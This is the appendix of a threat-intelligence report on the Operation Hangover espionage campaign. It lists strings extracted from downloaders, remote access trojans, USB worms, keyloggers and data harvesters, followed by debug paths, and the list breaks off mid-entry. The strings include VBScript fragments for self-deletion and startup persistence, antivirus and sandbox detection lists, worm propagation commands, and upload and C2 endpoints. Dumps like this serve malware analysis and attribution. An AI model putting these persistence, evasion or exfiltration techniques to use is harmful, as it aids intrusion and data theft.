Open send Status Type ResponseBody Write Position Fileexists DeleteFile SaveToFile Close \OS.txt OS Name http:// ---h-t-----t--p-:---/--/----- /first-time/ ResponseText \Temps CreateFolder GetFolder Attributes [NoExists: [Exists: u s e rn am e AVs List : OS : SystemDT : [ AppVersion : AppPath : DropPath : /windata Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 30 Appendixes Smackdown NaramGaram (Visual Basic downloader) ProjNaramGaram NaramGaram D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\Smack6\70\ProjNaramGaram.vbp advpack IsNTAdmin \OS.txt OS Name OS Name: UnKnown w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er elect  from An ExecQuery DisplayName w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er2 WokasamWoirada Select  from CIM_Datafile Where name Error programfiles u    s     e     r      p     r    o    f   i  l  e \Temps CreateFolder GetFolder Attributes [NoExists: [Exists: u s e rn am e W S c r i p t. S he ll S t art u p SpecialFolders \Themes Manager.lnk CreateShortCut TargetPath --s--y--s---d--m--.-c---p-l--,- -0- IconLocation W--i-n---d---o-w-s- --S-y---s-t-e-m--- --P-r-o----p-e---r--t--y-- Description WorkingDirectory Save SaveToFile Fileexists Type ResponseBody Write Position Open send Status run WScript.
Shell ResponseText /shopx.php?fol../first-time /first-time/ Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 31 Appendixes Smackdown Vampro (Visual Basic downloader) vampro D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\SmkDwnNew(dual)\14-8\vampro.vbp SmkDwn  - reggubeDmetsyS run advpack IsNTAdmin Class /first-time/ Files Present on DropPath : Errors : [ /new_down/ fil u    s     e     r      p     r    o    f   i  l  e \programs CreateFolder GetFolder Attributes c    o    m    p    u   t   e    r   n   a   m   e u    s    e    r    n    a    m   e [Exists: [NoExists: w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er ExecQuery CompanyName w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er2 PathToSignedProductExe eman erehW elifataD_MIC morf  tceleS Error programfiles winmgmts:\\.\root\cimv2 Select  from Win32_OperatingSystem Open send ResponseText ResponseBody Write Position Fileexists DeleteFile SaveToFile Close On Error Resume Next Dim myFSO, Rula Set myFSO  CreateObject( myFSO.DeleteFile Wscript.
ScriptFullName Set Rula  CreateObject( Wscript.
Shell Wscript.
Sleep 5000 Rula.run Chr(34) Set Rula  Nothing Set myFSO  Nothing \rgrun.vbs Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 32 Appendixes Smackdown Angelpro (Visual Basic downloader) AngelPro frmAngelica Angelica D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\Smack6\90\92\AngelPro.vbp ucDwn  - advpack IsNTAdmin w      i     n m    g m t   s   : \   \ .
\   r  o o     t   \ S   e  c u  r i  t  y C  e  n t er SpecialFolders ExecQuery DisplayName w   i n  m g  m  t s  :   \ \ .
\ r   o ot \ S   e  c u  r i  t y  C    e   n  t e  r  2 WokasamWoirada Select  from CIM_Datafile Where name http:// fil S t art u p \Themes Start Manager.lnk CreateShortCut TargetPath --s--y--s---d--m--.-c---p-l--,- -0- IconLocation W--i-n---d---o-w-s- --S-y---s-t-e-m--- --P-r-o----p-e---r--t--y-- Description WorkingDirectory programfiles [NoFiles] [NoExists: [Exists: Files Present on DropPath : u    s     e     r      p     r    o    f   i  l  e \Temps \OS.txt OS Name http:// ---h-t-----t--p-:---/--/----- /first-time/ ChakMak IGets FlDwn wait active DropPath : /advdnx u s e rn am e AVs List : OS : SystemDT : [ AppVersion : AppPath : A   D   O D    B   .
St r e am Type ResponseBody Write Position FileExists DeleteFile SaveToFile Close run Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 33 Appendixes Smackdown Soundsman (Visual Basic downloader) Soundsman VbDL FrmSru C:\Documents and Settings\Administrator\Desktop\NewDw\Soundsman.vbp comodo OS Name C:\Wvs.txt programfiles avira antivir Avira avast alwil Avast avg Avg bitdef BitDefender Comodo eset Nod32 f-secure F-Secure kasper KasperSky mcafee McAfee norton Norton panda Panda quickheal quick-heal Quick-Heal vba32 Vba32 W S c r i p t. S he ll S t art u p SpecialFolders \Microsft .url [InternetShortcut] URL .exe UserControl .HTTPDownload .C:\WINDOWS\system32\WINHTTP.dll WinHttp CancelDownload DownloadFile DownloadProgress DownloadComplete DownloadError InvalidUrl GET Accept-Language en-us User-Agent Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1) Accept / Content-Length StrUrl DestFile Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 34 Appendixes Smackdown Cryp (Visual Basic downloader) Searcher Downl syslide D:\YASH\PRO\MY\DELIVERED\Downloader\tempdwn\Cryp of tempdwn\Project1.vbp kernel32 Sleep ExecQuery IPAddress MACAddress RegWrite UserControl BeginDownload DownloadProgress DownloadError DownloadComplete URL SaveFile CurBytes MaxBytes Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 35 Appendixes Yashup (Visual Basic uploader) My Windows Manager DWN TxtCname Content Type of the File TxtResp TxtReq D:\YASH\SOFTs\PRO\MY\DELIVERED\UPLOADERS\New_upl\bkup_nonObfus\plain\Project1.vbp CSocketMaster modSocketMaster LinkFilter ComputerName MarloNa RemotePort RemoteHost RemoteHostIP LocalPort State LocalHostName LocalIP BytesReceived SocketHandle Protocol CloseSck SendData GetData PeekData ConnectionRequest DataArrival SendProgress Scripting.
Filesystemobject Drives DriveType Computername Content-Disposition: form-data name filename match OK Winsock service initiated Operation now in progress.
UserControl BeginDownload DownloadProgress DownloadError DownloadComplete bytesTotal Number Description sCode Source HelpFile HelpContext CancelDisplay enmProtocol RemoteHost RemotePort LocalPort LocalIP maxLen requestID bytesSent URL bytesRemaining SaveFile CurBytes MaxBytes Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 36 Appendixes Yashplayer (Visual Basic remote access trojan) GroundPlayer frmGround TxtRamoz C:\GroundPlayer.vbp cmdshel CSocketMaster shells Removeable Network CD-ROM Disc ///C:[HD] S t art u p SpecialFolders w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er elect  from An ExecQuery w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er2 \System Config.lnk CreateShortCut TargetPath sysdm.cpl, 0 IconLocation Windows System Config WorkingDirectory Save File Fols Fils Find Pass Auth Down Erro OkDo Kils Clos Rstr run Dein SheA SheD SheC Uplo //W//S//c//r//i//p//t//.//S//h//e//l//l Open A   D   O D    B   .
St r e am ResponseBody Write Position Shell started at: Shell closed at: Shell is already closed Shell is not Running OK Winsock service initiated enmProtocol RemoteHost RemotePort LocalPort LocalIP maxLen requestID bytesSent bytesRemaining Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 37 Appendixes DragonEye (Visual Basic remote access trojan) MCircle TxtRamoz D:\YASH\PRO\MY\DELIVERED\RAT\Dragon-Eye\De-Mini\New_server\modify\New_LNK\Another_FUD\MCircles.vbp cmdshel shells TxtRamoz Removeable Network CD-ROM Disc W S c r i p t. S he ll S t art u p SpecialFolders \Soundman Find Pass Auth Driv Fold Erro OkDo Kils Clos Rstr Open .exe Dein SheA SheD SheC She3 Ht6w Uplo SheH O p e n Fols Fils .url [InternetShortcut] URL IconFile Iconindex DownloadProgress CancelDownload DownloadFile .HTTPDownload .C:\Windows\system32\winhttp.dll UserControl DownloadComplete DownloadError InvalidUrl GET Accept-Language en-us User-Agent Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1) Accept / Content-Length QOS bad style.
Shell started at: Shell closed at: Shell is already closed Shell is not Running Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 38 Appendixes Yashgame (Visual Basic remote access trojan) .
Naby Cards Objection                         .
01 - every player start game with 52 cards  (4 cards shown in his field  47 cards hidden 1 card in action ) 02 - the aim of the game is to try to finish your cards before the opponent 03 - the player who has the biggest cards in the 4 shown cards in his field will start the game 04 - there is 8 places in middle  from ace to king 05 - rules of game is somthing like Solitaire game 06 - first u have to check if u have card can move to the middle (from ace to king ) or the fields have card can move to middle 07 - if u have and did not play it u will loss your turn and your opponent will take the turn 08 - u can move the cards from u or from fields to your opponent by dragging the card to him 09 - u can drag the cards in fields up or down like Solitaire game 10 - your turn will finish when u click on your hidden cards and move the shown card to your card in action exitme startme New Game HELP NETSCAPE2.0 Click if Objection Label6 Nabeel Amber Shown Cards Left Amber Hidden Cards Left Nabeel Shown Cards Left Nabeel Hidden Cards Left listace picCards playlist labindex shobjection All Right Reserved By  nabeelhosnyyahoo.com PySol solitaire cardset D:\YASH\PRO\MY\DELIVERED\2012\DEMC\Without_ocx_class\NewCardGameBased\Project1.vbp WsRkft23 updateme checkobjection doobjection upateme upteme Prosdata VB.TextBox Text1 TxtRamoz 5.34.242.129 \pic\alarm.wav She1 Shel 000 Text File Fols Fils \pic\yes.wav \pic\addalarm.wav \pic\wrong.wav w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er elect  from An ExecQuery DisplayName w i n m g m t s : \ \ .
\
ro ot \ Sec ur ity Cent er2 WokasamWoirada Select  from CIM_Datafile Where name \pic\Fail.wav elbaevomeR Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 39 Appendixes Yashgame continued (Visual Basic remote access trojan) krowteN MOR-DC ksiD u     s    e    r    n    a    m    e c    o    m    p    u    t    e    r   n   a   m  e SheD SheC S   h  e    3 Uplo  SheH //W//S//c//r//i//p//t//.//S//h//e//l//l // run Find Pass Auth Driv Fold Down Erro OkDo Kils Clos rtsR WScript.
Shell Shell started at: Shell closed at: Shell is already closed Shell is not Running Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 40 Appendixes Foler.
A (C worm) Unable to get  Location USERPROFILE \start.vbs On error resume next ComputerName  .
Set wmiServices   GetObject(winmgmts:impersonationLevelImpersonate//  ComputerName) Set s  WScript.
CreateObject(WScript.
Shell) dim filesys, filetxt Set filesys  CreateObject(Scripting.
FileSystemObject) Set filetxt  filesys.
OpenTextFile(s.
ExpandEnvironmentStrings(userprofile)  \nttuser.txt, 2, True) Set wmiDiskDrives   wmiServices.
ExecQuery (SELECT Caption, DeviceID FROM Win32_DiskDrive) For Each wmiDiskDrive In wmiDiskDrives query  ASSOCIATORS OF Win32_DiskDrive.
DeviceID  wmiDiskDrive.
DeviceID   WHERE AssocClass Win32_DiskDriveToDiskPartition Set wmiDiskPartitions  wmiServices.
ExecQuery(query) For Each wmiDiskPartition In wmiDiskPartitions Set wmiLogicalDisks  wmiServices.
ExecQuery (ASSOCIATORS OF Win32_DiskPartition.
DeviceID _ wmiDiskPartition.
DeviceID   WHERE AssocClass  Win32_LogicalDiskToPartition) For Each wmiLogicalDisk In wmiLogicalDisks filetxt.
WriteLine(wmiLogicalDisk.
Caption  \) Next Next filetxt.
Close EXIT FOR Next cmd /c open cmd svchost.
exe \MyHood\ cmd /c attrib h s alg.
encrypted ID_MON \nttuser.txt A:\ B:\ Media removable .
Fixed disk userprofile \MyHood error Drive does not exist Network drive CD-ROM drive RAM disk /c xcopy ccnfg windows dirctory C:\Documents and Settings\Administrator\Desktop\UsbP\Release\UsbP.pdb explorer userprofile \MyHood cmd /c attrib h s \MyHood\ svchost.
exe alg.
D:\Monthly Task\August 2011\USB Prop\Usb Propagator.09-24\nn\Release\nn.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 41 Appendixes Foler.
B (C worm) Unable to get  Location USERPROFILE open cmd svchost.
exe \MyHood\ cmd /c attrib h s smsss.
encrypted ID_MON \Data A:\ B:\ Media removable .
userprofile \MyHood error Drive does not exist Fixed disk Network drive CD-ROM drive RAM disk /c xcopy ccnfg windows dirctory C:\Documents and Settings\Administrator\Desktop\UsbP\UsbP - u\Release\UsbP.pdb Global\EBLEY329-TRSU-PIG279110924 explorer userprofile \MyHood cmd /c attrib h s \MyHood\ svchost.
exe smsss.
C:\Documents and Settings\Administrator\Desktop\nn\Release\nn.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 42 Appendixes Appinbot Predator (C remote access trojan ) cmd.exe OSVer Win32s Win9x WinNT OSPlatform Intel Unknown OSArchitecture ClientVersion ClientBuildTime TempDir ModulePath PID ServerPort ServerAddress RetrySeconds Instances ForceInstall BuildType RELEASE clienthost.com Reconnecting... Global\AbortAbClient ABCLIENT TMP \agp32 Error d moving file s to s Invalid MD5 Checksum props drives list dlist Network Neighborhood\ get file not found exit uninstall restart Error d spawning new process newclient File not found exec mkdir Error creating directory ping Unknown request Global\ FIDR/ 1.2 FIDR/s HLO RPY SUBSCRIBE d MSG bot CLOSE d ERR END ANS NUL c:\Users\PREDTOR\Desktop\MODIFIED PROJECT LAB\admin\Build\Win32\Release\appinclient.pdb C:\Users\PREDTOR\Desktop\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 43 Appendixes Appinbot 1.2.12 (C remote access trojan ) cmd.exe OSVer Win32s Win9x WinNT OSPlatform Intel Unknown HostName LocalIP MacAddress OSArchitecture ClientVersion ClientBuildTime TempDir ModulePath PID ServerPort ServerAddress RetrySeconds Instances ForceInstall BuildType RELEASE clienthost.com localhost Global\ClientBOND Global\Client MYCLIENT \mxpr32 Write message received out of sequence Error d moving file s to s Invalid MD5 Checksum props drives list dlist Network Neighborhood\ get restart Error d spawning new process newclient exec ping Alocalhost FIDR/ 1.2 FIDR/s HLO RPY SUBSCRIBE d MSG bot CLOSE d ERR END ANS NUL sEND C:\BNaga\backup_28_09_2010\threads tut\pen-backup\BB_FUD_23\Copy of client\Copy of client\appinbot_1.2_120308\Build\Win32\Release\appinclient.pdb C:\pen-backup\Copy of client\Copy of client\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 44 Appendixes Appinbot 1.3.3 (C remote access trojan ) cmd.exe TEMP OSVer Win32s Win9x WinNT OSPlatform Intel Unknown HostName LocalIP MacAddress OSArchitecture ClientVersion ClientBuildTime TempDir ModulePath PID ServerPort ServerAddress RetrySeconds Instances ForceInstall BuildType RELEASE clienthost.com localhost Global\ForceClient Global\Client MYBACKAPP \mxp Invalid MD5 Checksum props drives list dlist Network Neighborhood\ restart Error d spawning new process newclient ping Unknown request Unknown command Global\ Kernel32.DLL CreateToolhelp32Snapshot Process32First Process32Next FIDR/ 1.2 FIDR/s HLO RPY SUBSCRIBE d MSG bot CLOSE d ERR END ANS NUL sEND E:\Datahelp\SCode\BOT\MATRIX_1.3.3\CLIENT\Build\Win32\Release\appinclient.pdb C:\BNaga\SCode\BOT\MATRIX_1.2.2.0\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 45 Appendixes Appinbot 1.3.4 (C remote access trojan ) Dim objShell Set objShell  CreateObject(WScript.
Shell) HELPFILE OSVer Win32s Win9x WinNT OSPlatform Intel Unknown HostName LocalIP MacAddress OSArchitecture ClientVersion ClientBuildTime TempDir ModulePath PID ServerPort ServerAddress RetrySeconds Instances ForceInstall BuildType RELEASE clienthost.com localhost Global\C5826427D996926CEC6D Global\D996926C58264279F42 MYBACKAPP \mxp Invalid MD5 Checksum props drives xlist xdlist Network Neighborhood\ newclient ping Global\ Lfsofm43/EMM CreateToolhelp32Snapshot Process32First Process32Next FIDR/ 1.2 FIDR/s HLO RPY SUBSCRIBE d MSG bot CLOSE d ERR END ANS NUL sEND C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\MATRIX_1.3.4\CLIENT\Build\Win32\Release\appinclient.pdb C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\MATRIX_1.3.4\CLIENT\Build\Win32\Release\deleter.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 46 Appendixes Linog  (C downloader ) sConnection: Close sContent-Length: u sContent-Type: multipart/form-databoundary---------------------------265001916915724 sHost: s POST /s HTTP/1.1 s-----------------------------265001916915724-- sContent-Type: application/octet-stream sContent-Disposition: form-data namesfilenames uploadedfile -----------------------------265001916915724 closesocket function failed with error: ld connect function failed with error: ld recv failed with error: d Connection closed Error in opening a file.. c:\windows\temp\ GET /s HTTP/1.1 sspool.vbs File Downloaded File not copied..s DOCTYPE HTML PUBLIC log.txt .txt /download/cdata/ c:\windows\temp\task.bat c:\windows\system32\net view  c:\windows\temp\a1.tmp c:\windows\system32\netstat.exe  c:\windows\temp\ c:\windows\system32\net view  c:\windows\temp\ c:\windows\system32\tasklist.exe  c:\windows\temp\ c:\windows\system32\systeminfo.exe  c:\windows\temp\ echo off a1.txt sysconfig.dat /cupload.php /cdata.php ThemesManager \ThemesManager.lnk .s cscript.exe sspool.vbs s,s,s Cratsct C:\Windows\System32\catroot2\F750E6C3-38EE-11D1-85E5-00C04FC295EE\ End Sub caliber.
Save caliber.
WorkingDirectory  scpat caliber.
Description  Windows System Property caliber.
IconLocation  sysdm.cpl, 0 caliber.
TargetPath  scpat  tcname Set caliber  sysinterim.
CreateShortcut(X  \  scname  .lnk) X  sysinterim.
SpecialFolders(Startup) Set sysinterim  CreateObject(WScript.
Shell) Dim caliber,sysinterim,X Sub Cratsct(scpat,scname,tcname) C:\Windows\System32\catroot2\F750E6C3-38EE-11D1-85E5-00C04FC295EE\ slidebar.exe /cdata/slidebar.exe C:\Users\hp\Desktop\download\Release\download.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 47 Appendixes Iconfall (C Keylogger ) TZTUFN]DvssfouDpouspm Tfu]Dpouspm]LfzcpbseMbzpvut] MyHttpClient z([0-9]) w([a-zA-Z]) q([])([]) h([0-9a-fA-F]) d([0-9]) c([a-zA-Z]) b([ \t]) a([a-zA-Z0-9]) shell32.dll --s Content-Disposition: form-data name deport filename filename Content-Type: text/plain Content-Transfer-Encoding: binary submit value submit GET POST Cookie: charset[A-Za-z0-9\-_] Content-Length: [0-9] Location: [0-9] Set-Cookie:\b.
?\n utf-8 html /html F to create tit cont Content-Length: Content-Type: application/x-www-form-urlencoded POST iconfall 78DDB5A902BB8FFF3F398B45BEDCD152 00212 multipart/form-data boundarys Global\7F1FE98DA54-23EE99-A9C2A15D90 Fatal Error: OLE init failed open cmd \M.BSSPX \S.BSSPX \V.BSSPX \E.BSSPX \OVNMPDL Windows_Classic3264_asdasd systemDir.l /c ipconfig /all MyMutex Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 48 Appendixes Deksila (C Downloader ) userprofile cmd open ROOT\SecurityCenter2 ROOT\SecurityCenter SELECT  FROM AntiVirusProduct WQL displayName WinInetGet/0.1 /downtab/test.php?cname str file GET HttpQueryInfo failed, error  d (0xx) InternetReadFile failed, error  d (0xx) htt p:// /downtab/ \temp\ sucessfully res Global\DF97D191AD-92E9-FC504RC25E9A8A3F /c xcopy  /Y dekstop2007.ico mozila20 windows dirctory Auspo (C downloader ) VBoxService VBoxTray VMware VirtualPC wireshark SandboxieControlWndClass SbieDll.dll csetup32.dll image/jpeg Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV2) POWERS AUSTIN Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 49 Appendixes Slidewin (C Keylogger ) Software\Microsoft\Windows\CurrentVersion\Run Software\Microsoft\Windows\CurrentVersion\ Run C:\WINDOWS\system32\CatRoot2\F750E6C3-38EE-11D1-85E5-00C04FC295EE\slidebar.exe slidebar Title  [BackSpace] [Tab] [Pause] [Esc] [PgUp] [PgDn] [End] [Home] [LtArrow] [UpArrow] [RtArrow] [DnArrow] [PrntScrn] [Ins] [Del] [WinKey] [DpDnMenu] [F1] [F2] [F3] [F4] [F5] [F6] [F7] [F8] [F9] [F10] [F11] [F12] [NumLock] [ScrlLock] [LtCtrl] [RtCtrl] [LtAlt] [RtAlt] [HomePage] [MuteOn/Off] [VolDn] [VolUp] [Play/Pause] [MailBox] [Calc] [Unknown] E:\Data\User\MFC-Projects\KeyLoggerWin32-mktserv\Release\slidebar.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 50 Appendixes Gimwlog (MINGW C Keylogger ) file closed--------------------- md C:\ApplicationData\Prefetch\ copy taskkey.exe C:\ApplicationData\ move C:\ApplicationData\.txt C:\ApplicationData\Prefetch log.txt C:\ApplicationData\ [RIGHT ARROW KEY] [DOWN ARROW KEY] [SHIFT] [ENTER] [BACKSPACE] [TAB] [CTRL] [DEL] [LEFT ARROW KEY] [UP ARROW KEY] [CAPSLOCK] sized new file------------------ fname2s move s C:\ApplicationData\Prefetch\ Gimwup (MINGW C data harvester ) C:\ApplicationData\logFile.txt copy winservice.exe C:\ApplicationData\ C:\ApplicationData\winservice.exe MyDir attrib h C:\ApplicationData\winservice.exe C:\ApplicationData\.
logFile.txt  scan finished / inside while .
Program Files Program Data WINDOWS recycler RECYCLER Recycler ApplicationData d-m-Y H-M-S scs C:\ApplicationData\Prefetch\ .inp ab .doc .docx .ppt .pptx .xls .xlsx .pdf .pps Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 51 Appendixes Degrab (Delphi data harvester ) s, ProgID: s ---------------------------282861610524488 upload1 Name http /vbupload.php slots1 value11value22 disnoutpopmfol POST MSXML2.XMLHTTP open multipart/form-databoundary Content-Type HHsetRequestHeader Content-Disposition: form-data name filename Content-Type: file send ResponseText Exception message Fire.txt Firefox is Not Installed.
\.dll userprofile \flgs.dat Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 52 Appendixes Appendix D: Project and debug paths extracted from executables C:\26_10_2010\demoMusic\Release\demoMusic.pdb C:\26_10_2010\New_FTP_HttpWithLatestfile2\Release\httpbackup.pdb C:\26_10_2010\New_FTP_HttpWithLatestfile2_FirstBlood_Released\New_FTP_HttpWithLatestfile2\Release\FirstBloodA1.pdb C:\A\KG\Release\winsvcr.pdb C:\andrew\Key\Release\Keylogger_32.pdb C:\app\Http_t\Release\Crveter.pdb C:\BACK_UP_RELEASE_28_1_13\General\KG\Release\winsvcr.pdb c:\BackUP-Important\PacketCapAndUpload_Backup\voipsvcr\Release\voipsvcr.pdb C:\BNaga\backup_28_09_2010\threads tut\pen-backup\BB_FUD_23\Copy of client\Copy of client\appinbot_1.2_120308\Build\Win32\Release\appinclient.pdb C:\BNaga\kaam\Appin SOFWARES\RON 2.0.0\Release\Ron.pdb C:\BNaga\kaam\kaam\NEW SOFWARES\firstblood\Release\FirstBloodA1.pdb C:\BNaga\kaam\kaam\New_FTP_HttpWithLatestfile2_FirstBlood_Released\New_FTP_HttpWithLatestfile2\Release\Ron.pdb C:\BNaga\kaam\New_FTP_2\Release\ftpback.pdb C:\BNaga\kaam\New_FTP_HttpWithLatestfile2_FirstBlood_Released\New_FTP_HttpWithLatestfile2\Release\FirstBloodA1.pdb C:\BNaga\My Office kaam\Appin SOFWARES\HTTP\RON 2.0.0\Release\Ron.pdb C:\BNaga\SCode\BOT\MATRIX_1.2.2.0\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb C:\DD0\DD\u\Release\dataup.pdb C:\Documents and Settings\abc\Desktop\Dragonball 1.0.2(WITHOUT DOWNLOAD LINK)\Release\Ron.pdb C:\Documents and Settings\Admin\Desktop\Newuploader\Release\Newuploader.pdb C:\Documents and Settings\Admin\Desktop\SysCache\SysCache\Release\SysCache.pdb C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\CLIENT\Build\Win32\Release\appinclient.pdb C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\MATRIX_1.3.4\CLIENT\Build\Win32\Release\appinclient.pdb C:\Documents and Settings\Administrator\Desktop\Backup\17_8_2011\MATRIX_1.3.4\MATRIX_1.3.4\CLIENT\Build\Win32\Release\deleter.pdb C:\Documents and Settings\Administrator\Desktop\Feb 2012\kmail(httpform1.1) 02.09\Release\kmail.pdb C:\Documents and Settings\Administrator\Desktop\Keylogger_32\Release\Keylogger_32.pdb C:\Documents and Settings\Administrator\Desktop\nn\Release\nn.pdb C:\Documents and Settings\Administrator\Desktop\UsbP - u\Release\UsbP.pdb C:\Documents and Settings\Administrator\Desktop\UsbP\Release\UsbP.pdb C:\Documents and Settings\Administrator\Desktop\UsbP\UsbP - u\Release\UsbP.pdb C:\documents and settings\cr01nk\my documents\visual studio 2005\projects\solution\release\stub.pdb C:\Documents and Settings\Nand\Desktop\FtpBackup\FtpBackup\Release\Backup.pdb C:\eqri\Debug\eqri.pdb C:\fgh\Debug\fgh.pdb C:\gfg\Debug\gfg.pdb C:\MNaga\My Office kaam\Appin SOFWARES\HTTP\RON 2.0.0\Release\Ron.pdb C:\N\kl\Release\winlsa.pdb C:\N\sr\Release\waulct.pdb C:\pen-backup\Copy of client\Copy of client\appinbot_1.2_120308\Build\Win32\Release\appinclient.pdb C:\pen-backup\Copy of client\Copy of client\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb C:\Release\wauclt.pdb C:\sd\Debug\sd.pdb C:\seee\Debug\seee.pdb C:\smse\Debug\smse.pdb C:\T\del\Release\winhost.pdb C:\T\NoInterface\bin\ReleaseProduct\waulct.pdb C:\Users\admin\Documents\Visual Studio 2008\Projects\DNLDR-no-ip\Release\DNLDR.pdb C:\Users\God\Desktop\ThreadScheduler-aapnews-Catroot2\Release\ThreadScheduler.pdb C:\Users\hp\Desktop\download\Release\download.pdb C:\Users\neeru rana\Desktop\Klogger- 30 may\Klogger- 30 may\Release\Klogger.pdb C:\Users\PREDTOR\Desktop\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb C:\Users\PREDTOR\Desktop\MODIFIED PROJECT LAB\admin\Build\Win32\Release\appinclient.pdb C:\Users\PREDTOR\Desktop\MODIFIED PROJECT LAB\FBackup(source code)\FtpBackup - Copy\Release\Backup.pdb C:\Users\Yash\Desktop\New folder\HangOver 1.5.7 (Startup) uploader\Release\Http_t.pdb C:\wua\Debug\wua.pdb C:\wuaucit\Debug\wuaucit.pdb D:\december task backup\TRINITY PAYLOAD\Dragonball 1.0.0(WITHOUT DOWNLOAD LINK)\Release\Ron.pdb D:\Desktop backup\Copy\appinbot_1.2_120308\Build\Win32\Release\appinclient.pdb D:\Desktop backup\Copy\appinbot_1.2_120308\Build\Win32\Release\deleter.pdb D:\Documents and Settings\appin\Desktop\backup\Release\ftpback.pdb D:\Documents and Settings\appin\Desktop\New_FTP_1\New_FTP_1\Release\HTTP_MyService.pdb d:\final exe\check\Release\check.pdb d:\May Payload\new keylogger\Flashdance1.0.2\kmail(http) 01.20\Release\kmail.pdb D:\Monthly Task\August 2011\USB Prop\Usb Propagator.09-24\nn\Release\nn.pdb Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 53 Appendixes D:\Monthly Task\September 2011\HangOver 1.3.2 (Startup)\Release\Http_t.pdb D:\new versions\FTPUPLOADER\FTPUPLOADER_NK_1\FtpBackup_source\Release\Backup.pdb D:\Projects\Elance\AppInSecurityGroup\FtpBackup\Release\Backup.pdb D:\projects\windows\MailPasswordDecryptor\Release\MailPasswordDecryptor.pdb d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb d:\Projects\WinRAR\SFX\build\sfxzip32\Release\sfxzip.pdb D:\Sept 2012\HangOver 1.5.7 (Startup)\HangOver 1.5.7 (Startup)\Release\Http_t.pdb D:\Sept 2012\Keylogger\Release\Crveter.pdb E:\Data\User\MFC-Projects\KeyLoggerWin32-hostzi\Release\slidebar.pdb E:\Data\User\MFC-Projects\KeyLoggerWin32-mktserv\Release\slidebar.pdb E:\Data\User\MFC-Projects\KeyLoggerWin32-spectram\Release\slidebar.pdb E:\Data\User\MFC-Projects\KeyLoggerWin32-Visor\Release\slidebar.pdb E:\Data\User\MFC-Projects\KeyLoggerWin32-zendossier\Release\slidebar.pdb e:\Datahelp\KEY\Hancock Kelo 1.1.3(crypted)\keytest\taskmng.pdb e:\Datahelp\keytest1\keytest\taskmng.pdb E:\Datahelp\SCode\BOT\MATRIX_1.3.3\CLIENT\Build\Win32\Release\appinclient.pdb E:\Datahelp\UPLO\HTTP\HTTP_T\17_05_2011\Release\Http_t.pdb E:\Datahelp\UPLO\HTTP\HTTP_T\20_05_2011\Release\Http_t.pdb E:\Datahelp\UPLO\HTTP\NEW Up For Trinity\RON 2.3.3\Release\Ron.pdb E:\Documents\Visual Studio 2005\Projects\EncryptionUtility\EncryptionUtility\obj\Debug\EncryptionUtility.pdb E:\June mac paylods\final Klogger-1 june-Fud from eset5.0\Klogger- 30 may\Klogger- 30 may\Release\Klogger.pdb E:\June mac paylods\Keylogger backup\final Klogger-1 june-Fud from eset5.0\Klogger- 30 may\Klogger- 30 may\Release\kquant.pdb E:\My\lan scanner\Task\HangOver 1.2.2\Release\Http_t.pdb E:\New folder\paylod backup\OTHER\Uploder\HangOver 1.5.7 (Startup)\HangOver 1.5.7 (Startup)\Release\Http_t.pdb F:\Backup-HP-ABCD-PC\download\Release\download.pdb f:\keyloger\KeyLog\keytest1\keytest\taskmng.pdb f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb F:\Utility\Release\Utility.pdb G:\august\13 aug\HangOver 1.5.7 (Startup) uploader\Release\Http_t.pdb J:\backup E\SourceCodeBackup\september\aradhana\HangOver 1.5.3 (Startup)\Release\Http_t.pdb N:\payloads\Trinity\Uploader\Tourist 2.4.5 (Down Link On Resource) -L(fud norton360internet security)\Release\Ron.pdb P:\payloads\new backup feb\SUNDAY\kmail(http) 01.20\kmail(http) 01.20\Release\kmail.pdb R:\payloads\ita nagar\Uploader\HangOver 1.5.7 (Startup)\HangOver 1.5.7 (Startup)\Release\Http_t.pdb S:\final project backup\task information\task of september\Tourist 2.4.3 (Down Link On Resource) -L\Release\Ron.pdb T:\final project backup\complete 